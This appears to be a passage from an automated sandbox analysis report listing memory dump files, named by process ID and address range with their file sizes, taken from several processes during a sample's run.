memory/6720-449-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB
-
memory/6720-461-0x0000000008110000-0x0000000008176000-memory.dmpFilesize
408KB
-
memory/6720-482-0x00000000089F0000-0x0000000008A66000-memory.dmpFilesize
472KB
-
memory/6720-699-0x0000000009E30000-0x000000000A35C000-memory.dmpFilesize
5.2MB
-
memory/6720-525-0x0000000008B80000-0x0000000008BD0000-memory.dmpFilesize
320KB
-
memory/6720-698-0x0000000009C60000-0x0000000009E22000-memory.dmpFilesize
1.8MB
-
memory/6720-651-0x0000000007590000-0x00000000075A0000-memory.dmpFilesize
64KB
-
memory/6720-566-0x0000000000400000-0x0000000000480000-memory.dmpFilesize
512KB
-
memory/6720-615-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB
-
memory/6856-1624-0x0000000000D40000-0x0000000000D60000-memory.dmpFilesize
128KB
-
memory/7256-1625-0x0000000000B40000-0x0000000000BED000-memory.dmpFilesize
692KB
-
memory/7564-798-0x0000000007610000-0x0000000007620000-memory.dmpFilesize
64KB
-
memory/7564-722-0x0000000000400000-0x0000000000461000-memory.dmpFilesize
388KB
-
memory/7564-766-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB
-
memory/7564-734-0x00000000001C0000-0x00000000001FE000-memory.dmpFilesize
248KB
-
memory/7824-687-0x00007FFCDF830000-0x00007FFCE02F1000-memory.dmpFilesize
10.8MB
-
memory/7824-679-0x0000000000840000-0x0000000000848000-memory.dmpFilesize
32KB
-
memory/7824-725-0x00007FFCDF830000-0x00007FFCE02F1000-memory.dmpFilesize
10.8MB
-
memory/7848-693-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB
-
memory/7848-690-0x00000000009F0000-0x0000000000DD0000-memory.dmpFilesize
3.9MB
-
memory/7848-779-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB
-
memory/7848-692-0x0000000005610000-0x00000000056AC000-memory.dmpFilesize
624KB
-
memory/7912-1291-0x0000000000400000-0x0000000000965000-memory.dmpFilesize
5.4MB
-
memory/7912-695-0x0000000002830000-0x0000000002831000-memory.dmpFilesize
4KB
-
memory/7912-780-0x0000000002830000-0x0000000002831000-memory.dmpFilesize
4KB
-
memory/7924-1371-0x00007FF7C80A0000-0x00007FF7C8641000-memory.dmpFilesize
5.6MB
-
memory/7980-924-0x0000000000400000-0x000000000041B000-memory.dmpFilesize
108KB
-
memory/7980-928-0x0000000000400000-0x000000000041B000-memory.dmpFilesize
108KB
-
memory/7980-935-0x0000000000400000-0x000000000041B000-memory.dmpFilesize
108KB
-
memory/8140-616-0x0000000000D10000-0x0000000001990000-memory.dmpFilesize
12.5MB
-
memory/8140-694-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB
-
memory/8140-619-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB
-
memory/8160-706-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB
-
memory/8160-707-0x0000000005840000-0x0000000005850000-memory.dmpFilesize
64KB
-
memory/8160-704-0x0000000000F00000-0x0000000000F1E000-memory.dmpFilesize
120KB
-
memory/8160-863-0x0000000074410000-0x0000000074BC0000-memory.dmpFilesize
7.7MB